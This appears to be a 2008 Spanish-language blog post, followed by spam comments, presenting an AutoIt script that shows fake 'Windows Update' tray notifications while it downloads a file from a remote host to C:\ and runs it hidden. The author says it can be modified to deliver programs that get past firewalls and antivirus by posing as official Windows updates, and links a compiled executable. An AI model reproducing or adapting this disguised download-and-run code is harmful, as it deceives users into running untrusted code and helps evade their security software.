domingo, 11 de mayo de 2008

Script au3 para bajar un archivo simulando Windows Update


AutoIt es un Lenguage en script para la automatización de tareas para Windows.

AutoIt ha estado usandose polularmente desde 1999 y sigue ndo a los usuarios y administradores una manera fácil de secuencia de comandos de Windows GUI.

febrero de 2004 la última versión de AutoIt - conocido como AutoIt v3 - fue liberada y añadió potentes características de scripting.

AutoIt v3 se desarrolló en un pequeño equipo con la ayuda de los contribuyentes en todo el mundo y ello ha dado lugar a un gran conjunto de archivos de ayuda, ejemplos, foro de soporte, lista de correo, editor de archivos, y de terceros los servicios públicos.

Todo el desarrollo se centra en AutoIt v3 pero v2 seguirá siendo descargable y apoyado como lo es en tal uso generalizado.

Aqui les dejo un script que simula las actualizaciones de windows y descarga a el directorio c:\ publicidad del proximo evento Installfest.

a este script se le puede modificar para crear un programa actualizable sin que tengas que permitir la descarga a tu firewall o antivirus, ya que siendo actualizacion de windows es como si fuera de manera oficial por parte de windows..XD

aqui mi script en executable http://usuarios.lycos.es/villatux/linux/villatux.exe

(si no se descarga, copia el enlace y pegalo en tu navegador )

aqui el codigo (con algunos errores a proposito para evitar los que no quieren aprender):

AutoItSetOption("RunErrorsFatal, 0)


dim $url="http://usuarios.lycos.es/villatux/linux/
dim $filename="publicidad.pdf"
dim $savepath="c:\"

traytop("Windows Update", "Hay actualizaciones para el equipo", 5, 1)
Sleep(5000)
traytip("Windows Update", "Se instalaran automaticamente", 5, 1)
Sleep(5000)
if (URLDownloadToFile($url & $filename, $savepath & $filename))= 1 Then
Run($filename, $savepath, @SW_HIDE )
traytip("Windows Update", "Las actualizaciones se instalaron correctamente.", 5, 1)
Sleep(5000)
Else
traytip("Windows Update", "Intente instalar las actualizaciones nuevamente", 5, 1)
Sleep(5000)
EndIf

y aqui les dejo unas capturas de cuando se esta ejecutando el script:

y por si quieren empezar a programar sus scripts aqui les dejo esta url con manuales oficiales y referencia de funciones

http://www.autoitscript.com/autoit3/docs/
http://www.autoitscript.com/autoit3/docs/functions.htm

y aqui el compilador :

http://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe (6.6MB)

17 comentarios:

Anónimo dijo...

Man, I completely agree with you on that.

There's way too many fools out there that can't understand.

In fact, I was fightin with my sort of friend tom yesterday about this, and
they wouldn't believe me that he was wrong. Now I can just show them this blog :)

Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...

http://bluecrossblueshield.groupsite.com bluecross blueshield of florida

Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...

Poluchila pis’mo. Ja soglasna na obmen stat’jami.

Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Anónimo dijo...
Este comentario ha sido eliminado por un administrador del blog.
Blogger dijo...

Using Kaspersky protection for a few years, I'd recommend this solution to everyone.